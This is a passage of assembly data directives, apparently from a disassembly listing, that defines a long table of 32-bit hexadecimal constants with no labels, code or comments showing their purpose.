		dd 0CA0A67E0h, 0C0F52880h, 71D8BE07h, 0A5AA4DE1h, 64FE7FE8h
		dd 22F629ECh, 21941390h, 22111A2Fh, 0F202DE2Eh,	215524BDh
		dd 8E1111F1h, 0BCDA1131h, 11DE5911h, 0BA111FA9h, 0B82E112Dh
		dd 11DFDD11h, 0E6121581h, 1FF45085h, 2214E828h,	0D277E225h
		dd 89948688h, 444908E5h, 81447EFDh, 29B144D2h, 0FC6F64A0h
		dd 779CE8Bh, 0DCD0A86Bh, 7C2C5006h, 0D1FCF66h, 0F240C117h
		dd 32A26F9Eh, 0AC45001Ah, 0E4FB854Bh, 2C0021A1h, 0F7B478F5h
		dd 3C58B299h, 4080BA53h, 97473EE9h, 50008C49h, 5E88FC87h
		dd 862A4h, 0AA364206h, 0D9E25DEh, 0E40380Ch, 9516266h
		dd 0A4989F53h, 7BCCB980h, 0D0EF3FFh, 2040FCADh,	0B00A7C51h
		dd 4DBD2F6Dh, 4F02817Eh, 0C088BF48h, 90CF8C04h,	69C70024h
		dd 0D182A304h, 3B3D3F03h, 0F54681DBh, 556142F7h, 0F60F1E4h
		dd 8DB8DC76h, 0C04EEA20h, 680094A6h, 503116BCh,	309FAF97h
		dd 0A0218E8Ch, 0B502C9E3h, 0A8767A7Eh, 110DC072h, 60200119h
		dd 0F48B4246h, 0FB5820E7h, 8C61303h, 802C53EAh,	0BA035Ch
		dd 9C4493CCh, 0B2C40A3Dh, 3689C500h, 0D91D25B3h, 0C280000Ch
		dd 7C912271h, 0CC00C421h, 2EB332A0h, 3FE74E3h, 37F48DA8h
		dd 3E0003F7h, 7A9DCDB8h, 38ED3B6h, 0EA1275E6h, 10D11913h
		dd 723480F2h, 9A5644Bh,	30BB0073h, 8FA71F22h, 0C73B798Dh
		dd 0CE4100DAh, 9F69667Ah, 22420008h, 5F2511ACh,	0DF00923Fh
		dd 0BD35C72Ch, 0EA127D10h, 2D9C0F50h, 803E63A5h, 0FA77C62Bh
		dd 4900D611h, 8FFEDB38h, 4C2D52FBh, 5C00465Bh, 0CAF3F684h
		dd 79128715h, 0F400719Ah, 0ED703C0h, 2F490008h,	1564E6EEh
		dd 2D014F36h, 65B0D581h, 6FC80B92h, 0F5E3EC86h,	0E8268F0h
		dd 160EC60Ch, 79397F00h, 0F800E46Fh, 0F69CDCAh,	6222DE9h
		dd 0C1C0C80Bh, 0BF0022E6h, 0D5B3A5A1h, 15F2E20h, 99ABA49Dh
		dd 30506C0Bh, 0A3033D7Ah, 947AC072h, 3452C0A1h,	0A45B006Dh
		dd 0B29F647Eh, 8B012BE3h, 0A627DDC6h, 0A8C4D2A0h, 57163BB7h
		dd 894C3480h, 6C4F320Ch, 4A15E200h, 0E8763045h,	4743388Ch
		dd 0E6469100h, 0FE8DEB7Bh, 42D23D00h, 60CA9EAAh, 0D80FEB7h
		dd 0E079958Bh, 3188248Ah, 632B6C00h, 0BA9C16BFh, 165FF24Bh
		dd 15A95C6h, 993DF540h,	0CB24207Dh, 0B534AB00h,	571BF856h
		dd 0BA260013h, 1EF606AFh, 0F53BD6B2h, 803B9894h, 3B4BFC30h
		dd 0ED876B89h, 40EAF147h, 15BBB485h, 33F03A03h,	90950C34h
		dd 0DDC251h, 0E50BD8DBh, 39748A5Fh, 0CD77C492h,	0B3099DB0h
		dd 0AB9151h, 0BB077CE4h, 0AC035FACh, 370D00CFh,	0D17FD392h
		dd 154800C4h, 2E7AC839h, 1800F380h, 0FA10EF87h,	0BCAEDBBh
		dd 0C3EC485Eh, 0E4910055h, 1ED9133Fh, 0C0AAF94Ch, 325160BAh
		dd 5C00C5D3h, 7E6514C0h, 6B8B27h, 6D174862h, 6076735Eh
		dd 5A756300h, 0AD3C5B04h, 0DBF01CF3h, 5CD29Eh, 6F200914h
		dd 0A3009BC8h, 2B03DE5Eh, 92EEB867h, 760E00CCh,	0FC608C7Bh
		dd 0F300AF5Ch, 4369AB4Ah, 488BA7h, 0E3529BB2h, 0B679F54Dh
		dd 0C5738498h, 0C1772800h, 25ED0603h, 0A1050EF4h, 41DDA88Fh
		dd 7D9814FEh, 0B585C41Ah, 596F3800h, 0C66DBB61h, 432B0972h
		dd 0FD01D8E8h, 0DC4F3EEDh, 2A00EB30h, 0EE4557C3h, 0B0A1065Dh
		dd 49A83DDBh, 0DA762404h, 58A1C09Ah, 81000111h,	319B6C36h
		dd 35E918Eh, 7F52755h, 0F5B46Dh, 0B4CC1ADh, 760784EBh
		dd 7874CBA2h, 462D7D90h, 5D0E02C9h, 0BCDE6EDAh,	848CE660h
		dd 0DF57D007h, 0D38325D7h, 0CB6A88CCh, 0DDE200FEh, 0C97EB1E7h
		dd 4B0026D5h, 14ECD81h,	3E3298EAh, 9080C641h, 8531BF73h
		dd 0A100DC4Ah, 0B727FB7Fh, 26114466h, 3CDCB0FFh, 0DB64F280h
		dd 0FB05B952h, 0E998D1Fh, 1B00485Eh, 36CE9B6Dh,	0B84100D6h
		dd 0A8C796AFh, 98094004h, 0FDAC0Bh, 5F1F5A52h, 3C2900FEh
		dd 94885375h, 4B166849h, 4400FDBBh, 6373565Ah, 84FE0A76h
		dd 80E4716Ch, 6D26C265h, 38B0C870h, 0F66EE800h,	463F0C15h
		dd 93D800F7h, 0E953485Ah, 8338CF68h, 0AE9800EFh, 851555C0h
		dd 0BE730043h, 0BCDDABBAh, 341F310Ah, 50402097h, 657913A9h
		dd 4A760082h, 0E095D522h, 411EFC7Ch, 90C55C94h,	84C81BF4h
		dd 4C270913h, 0F800468Eh, 120F3643h, 0B4006D76h, 0A4390E4Eh
		dd 9858CA21h, 2E570398h, 1443F125h, 0DAF3DDD8h,	0DE4EB300h
		dd 8D517AB6h, 0A6616060h, 95061A37h, 0C9DDEC07h, 7F105808h
		dd 90D3B9h, 6710F225h, 70D6C22Fh, 4AB83100h, 9E52DCFAh
		dd 0C0425F04h, 0DA7C8A57h, 1CC01300h, 0CBB83F69h, 0A64F00ECh
		dd 0A356879Eh, 0EE1F203Ah, 43000322h, 6F570975h, 0B36D002Ch
		dd 1FB9CED1h, 3700A711h, 0FBEF65DCh, 60F783DBh,	0A253401Bh
		dd 19003BC1h, 9D0EE1AFh, 3E00691h, 0D81D2DCEh, 1CD25A5h
		dd 83DD9494h, 0C3BEE4B0h, 7F78B724h, 840D824h, 0DDF0A7h
		dd 98796DCEh, 129EFE84h, 0AEB1CD00h, 0D3A1D706h, 892807D9h
		dd 5017BED1h, 8CAAFDC4h, 93E8CD00h, 0EE56BD3Eh,	2696A0C9h
		dd 636500DEh, 61870ACCh, 3F009670h, 99FB1D71h, 1D95032Bh
		dd 434CAA48h, 0D3CDE877h, 7BA8EBD8h, 86519A00h,	1C308C85h
		dd 4BE90003h, 2197EF84h, 0D1001EADh, 0EB405E94h, 1DC220h
		dd 6ECE10FEh, 3749B007h, 56D04700h, 0B44306ECh,	34F10058h
		dd 20E26AFEh, 0C00FF22h, 0A47F4944h, 0E7C429h, 0C75A5694h
		dd 78B68947h, 0E2E292F8h, 30C52524h, 2A00B00h, 65C19B0h
		dd 0C939C162h, 90F01CA9h, 7925FB38h, 1C002E7Fh,	8235D9FDh
		dd 39442Ch, 0C23C5017h,	2245B2FAh, 36080A03h, 804B8C7Fh
		dd 0F3E41Eh, 487C9BECh,	2B497033h, 0EDDB2F0Bh, 9883D7C9h
		dd 4AE0CAC1h, 64000441h, 0BEC57E2Dh, 9F4E19h, 56763FC9h
		dd 8018B87Ch, 3CA53D00h, 0AC6959DFh, 0DB340399h, 232DE55Bh
		dd 3AAB30DFh, 0E800CEA9h, 78E18A6Ah, 0F4420B1Bh, 632A00D3h
		dd 65D55D6Fh, 0CF1CD40Fh, 330090B1h, 9F7E1A36h,	581C1F2Dh
		dd 8160C039h, 0E667229Ah, 29523Ch, 69CA8804h, 4276F4h
		dd 2CE428DCh, 17759305h, 12E77100h, 50F616F9h, 687C3A4Bh
		dd 0DFDC699Eh, 0D34F00E1h, 0F59B305Ch, 992F700Ch, 59A2BBh
		dd 90E58317h, 0D0D55BD4h, 66A3E300h, 0CE9E6146h, 52600032h
		dd 5FE1ADBEh, 16071D6Fh, 11F1A78Fh, 0CF8800B9h,	0D09F3Eh
		dd 0F2461359h, 70E53DD8h, 0ECDC5B09h, 1EF303F6h, 746087BCh
		dd 4C5FE92Ah, 7050C5F2h, 2A5E71A0h, 0BC735Bh, 0EE62A694h
		dd 477C10F7h, 5CC8A300h, 77D2B539h, 0BB7003Eh, 9C8C97E8h
		dd 4800AF2Bh, 729AD957h, 1FE427h, 1171B95h, 0CC805C6Ah
		dd 0F66C4E00h, 0CB4D38D3h, 160C0072h, 0ABE9C30Ah, 9105E730h
		dd 731D027Ah, 77ACC9C4h, 90784000h, 8F450E18h, 4B647100h
		dd 1281106Eh, 0B8B20043h, 73155D7Fh, 0EC180F0Dh, 44E025E3h
		dd 0DA530F05h, 0B9C0B612h, 8C1FA972h, 100ED78h,	1CB458FFh
		dd 0CA65FBh, 19414B6Ch,	9FEA263h, 47BF5600h, 0FCDD60EEh
		dd 1E91B88Eh, 81AFA30Ah, 89026806h, 0B07CFCB9h,	4B97BD00h
		dd 7A73A9DDh, 671C128Bh, 22500E75h, 0E9D4FF40h,	0A3009E57h
		dd 3338D609h, 3FC686F6h
		dd 593C6277h, 31E6BA00h, 92F24C1Eh, 0A6051228h,	60B32E02h
		dd 0E0499638h, 0A5E3F1h, 73FE180Ch, 0DA14C484h,	8061AF00h
		dd 8B2893F8h, 0A3F100E9h, 6B6E3FBEh, 5B90D09Ah,	23885603h
		dd 0A0792836h, 0BDF35Ah, 1217AADBh, 0A9B3AC58h,	4E14C102h
		dd 60441A35h, 5C673D1Ch, 48768A6Eh, 0A4C09C8Eh,	4CB97DFBh
		dd 5BA64000h, 0F631486Bh, 37E200BCh, 0DE7A9409h, 0B43B5DAEh
		dd 0D78FC7Ch, 0B2A3C007h, 7517D179h, 0E2E3A540h, 858238B9h
		dd 0C4A43480h, 97BFA869h, 25336400h, 82F20855h,	0D2A3002Dh
		dd 0E016E204h, 50E5D8Bh, 0F021F8h, 0C6208FA2h, 7032000Dh
		dd 1A6AB2A6h, 5A0360F7h, 8EFA9D8Bh, 7E100038h, 0CABC59EEh
		dd 871F8C8h, 8602A600h,	661B530Dh, 0FC20ED10h, 3C280089h
		dd 0D57927AAh, 0DFFBF0DCh, 9C223780h, 80AC553Ah, 9781881Ch
		dd 3C1B28h, 5CFD2944h, 0DF21A8DCh, 79506600h, 9AD283D9h
		dd 0BC03008Bh, 0ACA7D4A4h, 71C74C0h, 83FD1896h,	55AC3F8h
		dd 7FF6C09Fh, 0A31B1D66h, 89360724h, 0CF72D080h, 41EC62BCh
		dd 836D7C38h, 86ACA647h, 0AD01FF88h, 1DF87A99h,	4C1FFE40h
		dd 2A004E46h, 0F9CF56D9h, 41C045C5h, 840290FFh,	616300F6h
		dd 0A44B6DE5h, 9560AD34h, 0D5335820h, 53F0062Fh, 19F79C13h
		dd 0D76D707h, 0F5F1FEECh, 0B6D4B41Dh, 0CE2A0069h, 36A57316h
		dd 0B8922BF4h, 0CA3C2C07h, 3B009A42h, 1CE33F61h, 0B5F9FCh
		dd 0E680E701h, 0E0E4430Dh, 2C233D00h, 258FD650h, 42F073h
		dd 0D56F56EFh, 16BE4824h, 0B230E210h, 213A5008h, 0D943DAC0h
		dd 55D500B1h, 0DDA2D659h, 0EF013F31h, 0CEF81B5Eh, 4C200DCAh
		dd 890A0054h, 1F14DB6Bh, 3091E97h, 832E8741h, 90F82270h
		dd 6E8B30h, 0F28CBED3h,	84179C44h, 0D6809E00h, 0BAEF1308h
		dd 0BE54006Fh, 85C02C0Fh, 0E779207Ch, 8D2B4803h, 0FA0A9C66h
		dd 748C601Eh, 31E50772h, 0F0AEA006h, 40576DD3h,	0B5C99C1Fh
		dd 0FA981F58h, 2C23F4AFh, 801C1631h, 20041A74h,	6B002615h
		dd 597071C9h, 8ED16Dh, 341BA9Bh, 0DDFC1D93h, 0D8FE4577h
		dd 1B1CEF00h, 0B9F04DCAh, 0A32E0459h, 905A0BDAh, 99C87798h
		dd 7D3C7400h, 37A59AA0h, 0CA43DB9h, 0A22FC080h,	0D053E83Eh
		dd 0B7D7D912h, 0FC878800h, 5B821BBh, 5D90842Ch,	1F000F9h
		dd 0D27C4FF8h, 80E1FE3Ah, 944E6DC3h, 383A03Ah, 0AA5B5DD5h
		dd 0FCC8A431h, 0BAE636BFh, 4D9B41Ch, 550813C0h,	8494FDh
		dd 920329C1h, 6F27E0BFh, 38596100h, 0ACA0F725h,	101C0044h
		dd 82A6579Dh, 0C0002CDh, 2DC2F33Dh, 24B368D6h, 0D893E4h
		dd 2104A9F6h, 291F5047h, 274063E0h, 53D2CB9Ah, 0A4620033h
		dd 0AAD769ACh, 2B007E97h, 0D8EDCD4Dh, 30C28CB9h, 19492838h
		dd 0E4E002DBh, 0C034E748h, 2EC244C6h, 91FA0018h, 0DC2F9830h
		dd 0AB0EFF63h, 80F148C9h, 94C3D858h, 0A96F006Ch, 8A687A76h
		dd 9200698Bh, 0E6062805h, 964A79h, 0D6CAA0B6h, 0D7043D1Ch
		dd 211B3501h, 6499D3F5h, 1C16A170h, 3832902h, 0E11F2BD1h
		dd 0DCE0EA8Ah, 73E6BBB1h, 327E2498h, 3F5E5907h,	8AC00FD4h
		dd 0F69AE4h, 0D681A344h, 0A49212FFh, 6F9B5A00h,	902F7143h
		dd 729728B3h, 27D80FE4h, 2BE09EC9h, 3EFB7ECEh, 0C225CB00h
		dd 397CE42Ch, 68280072h, 40984DEEh, 0DA0964A5h,	8273C233h
		dd 0E07C6B7Bh, 95CC06Eh, 7E8EB11Eh, 0D3FCD420h,	4971C726h
		dd 0B915E605h, 0FAE82A28h, 9EF75900h, 0CC7E172h, 9C487428h
		dd 0F0943E01h, 59065D4Bh, 3581ECh, 0C9D7F2B1h, 860B464Dh
		dd 0F43843Dh, 80C3DFB8h, 5A24874Ch, 0F62D1F0Dh,	624BC0D4h
		dd 1D427038h, 0A507DE0Ch, 9FE83Ch, 0C1143706h, 1E0E411Bh
		dd 95D2AF00h, 10DDB1E8h, 4D87006Ah, 0FDE28BF1h,	0D4007F77h
		dd 8E2E8A66h, 0F841904h, 3DB47321h, 59773220h, 0D7198F61h
		dd 5C604847h, 0C824E898h, 630023BDh, 1D15E06h, 0FB466ECh
		dd 0EAB91D7Bh, 65F8BA40h, 923E77DAh, 0C48B0046h, 6CA3BCCAh
		dd 610B3921h, 0A9F28503h, 32E8D8B9h, 0F1001DF7h, 45F6F55Eh
		dd 0E94AECBh, 4147DCFAh, 9CB93EE0h, 81E464A6h, 4034C613h
		dd 0DBD13800h, 0B0B75620h, 0E1C304D0h, 301DCBh,	0A0B8A7F2h
		dd 0DF0D008Ah, 11AC84B2h, 4D021815h, 0A902B31Eh, 927E0C2h
		dd 928C0407h, 0FB8A7849h, 0D9B519C0h, 7C1100F8h, 1C824314h
		dd 8C5801DFh, 0B36209D0h, 0EC3896F1h, 8FEF0082h, 0EA177508h
		dd 0EE007C6Ch, 14615AD8h, 24C3FAAh, 0D26ABB90h,	627F9AECh
		dd 0B4D44014h, 78E207C5h, 12A34C28h, 0D4487225h, 75E23742h
		dd 600750F6h, 4FFBBA02h, 675670D0h, 964400EAh, 6D8A9EE1h
		dd 1000AFACh, 0E83105A4h, 977AD90h, 17FBD004h, 0E7A63C80h
		dd 0DFE2E45Fh, 0F54D3E00h, 87E6726Bh, 7C2D03BDh, 13478945h
		dd 0C71F15B8h, 3C7E80CCh, 286F60DEh, 83C45784h,	71A064Ch
		dd 0CE976CC5h, 0F83A80C0h, 0C6580E27h, 0F7E0772Dh, 0DB548E47h
		dd 0AA35C000h, 6043ECFCh, 0B4E11863h, 48D9042h,	2696C838h
		dd 0D0005C68h, 0F72B2BCh, 0ED7000F0h, 2F87DFAEh, 0D207B6ECh
		dd 8682BD3Eh, 535AF510h, 0B1A03E2h, 695F910Ch, 0E55B4007h
		dd 3D541FDEh, 0DFE27CC7h, 0BBA48085h, 14719445h, 0DC156827h
		dd 3B7D8280h, 0F02FD14h, 8FA1A7A2h, 2AFDC064h, 0F2AB00DCh
		dd 0BF8CA871h, 7C077031h, 43D29106h, 4C67AF10h,	5F1D0054h
		dd 74B36B17h, 2500FF9Bh, 0DC61EC81h, 2EEA03h, 4359D0BCh
		dd 8CF64D0Ch, 7CDE48C0h, 73ACAA6h, 36DC0806h, 8E7DF0CBh
		dd 0A53E1F12h, 0F8AB8051h, 0C208EFFDh, 29FC0013h, 828AAE73h
		dd 0D00197FEh, 0DE5423Ah, 0F7C8AF5Eh, 0AEA7001Eh, 0C85957Dh
		dd 0B00197DCh, 423BB579h, 0AFE57C65h, 7D00C428h, 0A8EA4BB3h
		dd 0B0EEBDFh, 0AF42F08Ch, 0ADF900B1h, 0E07679A9h, 0EE9F8F1h
		dd 84E7A05h, 0CAC55E0h,	9600A269h, 0FB4161D3h, 38E3A98Bh
		dd 1E004729h, 56660848h, 85000F4Ah, 0A9F38C3Ah,	96DC55h
		dd 0E9A209EEh, 4407CD21h, 60E7BC3Eh, 49C2B121h,	775C0F4Bh
		dd 5700F6F2h, 71803960h, 83900D07h, 9E407DE3h, 0A29275h
		dd 91FFAE6Eh, 0B577C646h, 89A7743Dh, 0A4A9Ah, 94A80EFCh
		dd 41541DEEh, 12920085h, 29F82B8Eh, 5C091D00h, 2C39B680h
		dd 7AD33BDCh, 5FF4BD85h, 0B9900EC6h, 0D461AA80h, 0EB3B3259h
		dd 9630FD95h, 453448EDh, 0E03A005Dh, 0FF9838C1h, 377FD0DCh
		dd 192CE70Fh, 4C00B35Ah, 633017B8h, 405601B2h, 699ADD3Ch
		dd 9BBE0132h, 965FC4h, 0F086E162h, 99B105C0h, 87936101h
		dd 0A5C6DE0Eh, 3AADDDCh, 55664ECFh, 0A880B132h,	0E5FB95F0h
		dd 0F76FD4C3h, 6E04590Bh, 64848F58h, 0A920EDA7h, 0BB004D94h
		dd 0BCD91098h, 0ACE323h, 400E81E1h, 13D3CEB6h, 10D77D13h
		dd 537F2803h, 0E851F34Fh, 7F01A92h, 0BA94D68Fh,	59EEE0A6h
		dd 0FC00EA0Ch, 0FBA0FF57h, 7C5673Dh, 68A4D0C7h,	0A975F3DEh
		dd 6BC8E1C3h, 1100E26Dh, 0A5454DF8h, 0B935BC25h, 5A2A0034h
		dd 0A02198DEh, 0FC82D80Fh, 8564A020h, 3C06B9C5h, 24017046h
		dd 23593E6h, 0FBC852C6h, 53A2C0E0h, 0A4B7AF00h,	0D7D87712h
		dd 0BFA000E5h, 0FF58DDFEh, 2B1CB1A6h, 2D401918h, 1F6D77Eh
		dd 24764C6Ch, 0FF8B800h, 0D1BE899Ah, 0E1AEFF00h, 7E216E15h
		dd 8F3A053Eh, 90F77163h, 66E5BD78h, 0D505957Ch,	5EEBDA75h
		dd 0F800C0CFh, 98467591h, 3800E704h, 7EDCD001h,	1C5E5BD5h
		dd 0AC8180FEh, 0BDED03B0h
		dd 11968248h, 0EA006290h, 956BAD55h, 2ED1EDFDh,	2B043CAh
		dd 719B63C8h, 0F674C4C0h, 2604589h, 0E5C007Ch, 84546F68h
		dd 0BE01E252h, 5104FF07h, 2C60604Ch, 0B54800E6h, 25F276F9h
		dd 0CF0195B8h, 70E47DEBh, 3460FEABh, 8456007Ch,	6F4E1475h
		dd 0AE078E9Dh, 12FAF297h, 99160301h, 3EC9D8h, 179B517Dh
		dd 0BDE3AE0Ch, 0A9EBE20Bh, 0A4A90241h, 3B785820h, 0A88F2CE1h
		dd 7A226D02h, 7960EFE5h, 0AB2E4D48h, 0B200E3C1h, 85D21EAFh
		dd 0C3D006Ch, 854B673h,	7C04A786h, 4DE4D1D7h, 3C8943C0h
		dd 146A7A71h, 803BC858h, 81AF9000h, 0E633F3B6h,	26935605h
		dd 0DAC07D83h, 91749Ch,	7240E0F9h, 0DD28DB15h, 1B325C00h
		dd 3E291E79h, 0CA7400C3h, 75139562h, 0F6002B59h, 0F406ED7Ah
		dd 0B9CE9Bh, 5519A953h,	3BF720D1h, 807D653Fh, 0DAB4115h
		dd 0FDA8F57h, 5B26808Dh, 3ABD6F66h, 56376700h, 8E86700Dh
		dd 194409F6h, 2C82151Dh, 8040ECBCh, 9724735Ah, 0CF036854h
		dd 0F0BBA101h, 4DD76CAh, 0AF2CC51Ah, 0F27890D1h, 0DE394F36h
		dd 8ECC09A6h, 38A0E07Bh, 446D5AA9h, 0E0A3F4B8h,	0C004A48h
		dd 57903D37h, 0E8D794ABh, 54A5003Fh, 222C2BE0h,	0C40B70E5h
		dd 348DCDh, 30AC37ECh, 38881E96h, 615800B5h, 1F04E972h
		dd 0A1064500h, 0C6EDAE02h, 0E0CF49DBh, 80E55E1Ch, 9C543EE3h
		dd 97006511h, 32FE942Dh, 7A7644D1h, 6F16041Bh, 0C0DA0C55h
		dd 0AE13A69Ch, 7796D33Dh, 4FB0CF00h, 0C6FB8B35h, 0EF2000Fh
		dd 0A6B60273h, 2A3E92FDh, 0B1E780D5h, 116A80D1h, 2BA00044h
		dd 9B49A1CCh, 0AF00F33Fh, 9E7364B8h, 20918Fh, 29D0E6ABh
		dd 4051744h, 2CD80F2Ch,	3A62AD00h, 0B0126402h, 5597332h
		dd 0FF340E38h, 0DEF2C02Eh, 0F20EB6CAh, 493D8058h, 6389DFh
		dd 3F403253h, 0E03750C0h, 9FCF0E9Ah, 0B5E11283h, 0C894ACA5h
		dd 97FE45E4h, 916A8B00h, 0F4CDB9A9h, 9AFB07BDh,	60FE3961h
		dd 9C276EDCh, 0F3A6D0Fh, 32DBC0C3h, 1FB29910h, 17FAA32Dh
		dd 654C0239h, 0F0E8A7ADh, 0E00DEBAh, 354E1B14h,	7FD52F50h
		dd 3D470006h, 6A330709h, 0C600B8EBh, 3C38C842h,	46B50C5h
		dd 0EC45429h, 0A9C0C0E5h, 0E1018E34h, 10B433F5h, 0C7F0AF7Dh
		dd 21300EADh, 41C3F29Eh, 46980F55h, 1B0B53EDh, 80877C26h
		dd 8940499Ch, 4B640085h, 66D4F29Ch, 0D002E45h, 0C3DCF313h
		dd 87EBD9h, 0BE3734F0h,	0C57EA36Eh, 410D8C00h, 0B496F2FFh
		dd 62A9006Ch, 0B8F409ABh, 83008271h, 0CE87E665h, 7C5D3E7Dh
		dd 14448DEh, 555F2100h,	0CCBADBD4h, 88D683EEh, 644A00BEh
		dd 0BD03770Fh, 5044E0B4h, 79E79CF0h, 78FEED4h, 0D9CE78B6h
		dd 0A02E0059h, 0CD00AF2Fh, 44F5BD20h, 3AE64870h, 0B8043E99h
		dd 802B7EA4h, 12AB3D34h, 76E98100h, 0E4CDE073h,	1F3F0C87h
		dd 0DECBAFDh, 0AB93BD18h, 190F690h, 5D359D37h, 20737707h
		dd 0F1001A20h, 4A6E2A7Ch, 7F88A8E3h, 5BB8167Fh,	1614016Dh
		dd 0ECB7CFB9h, 0AC3EA439h, 33CA0035h, 0CD4D56DAh, 7B430049h
		dd 6C02B2ECh, 0E6028110h, 4A24AED7h, 4AC85021h,	5D600107h
		dd 2C12596Ch, 0BB1E0020h, 732C5AB0h, 2A461771h,	0EE1D0753h
		dd 83F8D07Bh, 630058C0h, 83F2C15h, 2B17032h, 47BCB61Bh
		dd 0E86297A3h, 4345CAC0h, 0EEDF5A0Fh, 9330201Eh, 1E12EF95h
		dd 40BE8C5Eh, 0CB2F7331h, 9E009F15h, 0CCE96CDh,	17C8F319h
		dd 34454E6h, 30DD7780h,	9BA15CA8h, 85B73C07h, 0E6D017E0h
		dd 123340h, 0ED9FE884h,	35EF535Fh, 881C2400h, 1B561D75h
		dd 763E0F39h, 8D079C7Bh, 0B440801Eh, 241E2F79h,	74002A70h
		dd 0F15AC8C0h, 717853h,	0E3CBE68Fh, 5270199Fh, 439AF500h
		dd 0EA0AF8D4h, 5850E5Ah, 0DFE06555h, 0FA2AC5F3h, 8986831Fh
		dd 2C0BB300h, 7ADCBA1h,	0BAC74884h, 44A75071h, 0FF0F87D3h
		dd 0B27E02h, 36D2C5F4h,	0B79C0043h, 78E36084h, 2A00689Eh
		dd 23B19F83h, 9170E9h, 35DD1F2h, 5B15425Ch, 0EDE8407Ch
		dd 6B1F4170h, 0FB8F2C38h, 3D109807h, 0FC3C3831h, 45002644h
		dd 0E8CF4E30h, 3B7176C8h, 0B80282Ch, 18311C1Fh,	3302F994h
		dd 81082189h, 13ECE029h, 0DD6509A1h, 0A900DBEFh, 888DE686h
		dd 0A04AD400h, 7352B10Dh, 0BBB1D75h, 633C05Eh, 0D534B9C4h
		dd 2081CA00h, 0D3FCA129h, 10210EE3h, 0F5E60596h, 0C400F8ECh
		dd 0C9F3A56Bh, 1C1E4D9h, 1285262Dh, 0C44EA13Ah,	0BEEC4793h
		dd 8143AC00h, 83188CDh,	0B40C1C2Bh, 0EAFAC014h,	51A6A3E7h
		dd 0A4987700h, 1C29838Fh, 0DD0800DFh, 6F1B65Eh,	0EF3C1039h
		dd 1AB5072Dh, 0F920C7FEh, 0A4E50Ah, 0DAD503C2h,	4704BE14h
		dd 68E9F81Eh, 0C3C0451Eh, 0D7F4C93Eh, 1E1B0001h, 3F7C2E56h
		dd 90048E3h, 8ACAEBEDh,	7D9EDE31h, 18E1020Bh, 91D01A29h
		dd 0C2009FF0h, 0BBA75FBFh, 5343C8h, 2D05A8DBh, 0B7C617B2h
		dd 7DF7B812h, 0A1E2EA01h, 0BE606D64h, 74AB0FF5h, 0B9807577h
		dd 520FB66h, 0C3A851Fh,	33E8EF40h, 0B88490D5h, 7BA33970h
		dd 0A56C1607h, 0E95AC01Ch, 13008223h, 923E5294h, 1660BAh
		dd 40EA6A89h, 1AD03984h, 4B17D900h, 0AF3537E6h,	6D0500E4h
		dd 7D89E767h, 0E500D724h, 8AC6192Ah, 0E4436Ah, 0C821204h
		dd 0E1A756ECh, 6B07D700h, 38EB09E0h, 3AFAC4h, 59D035FCh
		dd 0CAA133D9h, 69DBD50Eh, 946E1F1Bh, 0EB76E00h,	0F3A5E61h
		dd 0EFE930E7h, 8D898020h, 0A100B814h, 10D88E73h, 718CF6Fh
		dd 3B0FED44h, 660AF0F4h, 1D5CF523h, 0C2700E1Ch,	74CE405Bh
		dd 0C49360h, 0B36BE048h, 0FD09BB12h, 33B03400h,	9BE76A46h
		dd 7AA6E2C6h, 0E58800C2h, 9115830Ah, 740075BAh,	0CFD59CADh
		dd 1C31202Dh, 52F6A196h, 9A1F18h, 6F08B70Bh, 6C008AC0h
		dd 0D66E7D5Bh, 0AB3CDEh, 0B2FCE39Bh, 884E0E91h,	26B50B00h
		dd 806A7537h, 1CC03EDCh, 7E298480h, 5106773Bh, 658B5507h
		dd 0F860B77Ah, 718FF06Fh, 57CD00D4h, 0F5B945Dh,	7A003463h
		dd 0C95ACF02h, 0FD81F0h, 9BF22C91h, 483F9C08h, 0BE35961Dh
		dd 22BB5140h, 0DEE113h,	0C9F6FD9Fh, 4B24A595h, 9750040Fh
		dd 94A8A00Fh, 0F50609h,	0B0F3D45Dh, 1C843B40h, 9CE20507h
		dd 27E7EE81h, 0BCD522C0h, 8F1A0318h, 15B86A3Eh,	0A2CA63D8h
		dd 5C0D3B00h, 0F2629E07h, 0AA51005Dh, 864730Bh,	66000E61h
		dd 0C27D5481h, 0A05EE6h, 0EFA7271Dh, 0BE8AE365h, 66D35C01h
		dd 691B718Bh, 0D6490DFh, 3F52C0B2h, 0AA2E7EA9h,	0C8213D00h
		dd 0E07D8D12h, 0DCD60064h, 7BA9F097h, 72267487h, 5C0008CEh
		dd 9F322CB7h, 66A40279h, 28CAF9DFh, 52DC0068h, 0A65DBC3Dh
		dd 80004840h, 192F41Bh,	12950571h, 0E55A1B6h, 0C0C099EEh
		dd 7FF1B3BBh, 899E2D3Ah, 0A3F9E8C7h, 0C450D7F0h, 0DA41FDC0h
		dd 51D300DBh, 4F830EABh, 8D00E46Fh, 0C19C6C33h,	0C01BB9AEh
		dd 46AA2481h, 581271B4h, 0E3032B5Eh, 0F0E86F8h,	782A0320h
		dd 110AEF06h, 0CA002278h, 0AB83F9B8h, 9EAE6Dh, 61046E06h
		dd 0D0B6598Fh, 3D1A5000h, 0A52464E2h, 8DA03A8Bh, 0B79AC683h
		dd 780E5853h, 273BD91Fh, 5B405F9Fh, 1F94670Eh, 0EF9C4Eh
		dd 317813DAh, 7E03A599h, 611B7473h, 228CC89Fh, 34AFCC9h
		dd 0A46C3BE8h, 5000DB1Fh, 0FB3FCA1Ch, 0F8D461D7h, 0D20CA0A2h
		dd 632200F4h, 39E82E84h, 6E00C2A3h, 3DAC23ABh, 0B4CCD6Ch
		dd 0A5C75F73h, 35E23F00h, 7F00AB61h, 0FF299051h, 741F5EBh
		dd 64EA3909h, 70A3B083h
		dd 250060A0h, 264EFF2Dh, 5E613h, 0CF4787C7h, 41B404D1h
		dd 33F4C3Ch, 403C2BBEh,	0FC9CF8B7h, 7CE639h, 0F8682CEBh
		dd 0CD6165D8h, 0E917E200h, 440F02A1h, 83DA1F80h, 75D74069h
		dd 55A82272h, 9D162C00h, 91BCAECh, 0E9A00354h, 85A6F8F5h
		dd 0ED193BF8h, 0A800D77Bh, 0A86FA74h, 7CBFA42Eh, 0BE00EDFh
		dd 0F5819281h, 30EC8F3Dh, 513925EEh, 0ABABE5Dh,	0D0E73C99h
		dd 0F44680BAh, 3DA3D90Dh, 9C613F20h, 0E04D30F4h, 1DAB2320h
		dd 0CA05D27Eh, 0EF2C6CCEh, 9590E000h, 285E0F81h, 28F309FDh
		dd 0C43752h, 8A5F913Fh,	58FF6B61h, 749B6438h, 0A5D4EE54h
		dd 340066F8h, 7C57FC37h, 70BD460h, 0E41963BEh, 38C6A041h
